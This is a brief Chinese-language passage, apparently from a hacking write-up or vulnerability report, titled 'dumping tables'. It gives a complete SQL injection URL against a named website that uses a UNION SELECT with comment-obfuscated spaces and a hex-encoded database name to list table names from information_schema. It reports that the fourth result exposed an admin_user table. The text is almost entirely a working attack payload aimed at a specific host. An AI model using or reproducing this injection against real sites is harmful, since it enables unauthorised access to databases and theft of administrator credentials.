1.爆表
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*    (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
这样爆到第4个时出现了admin_user表。
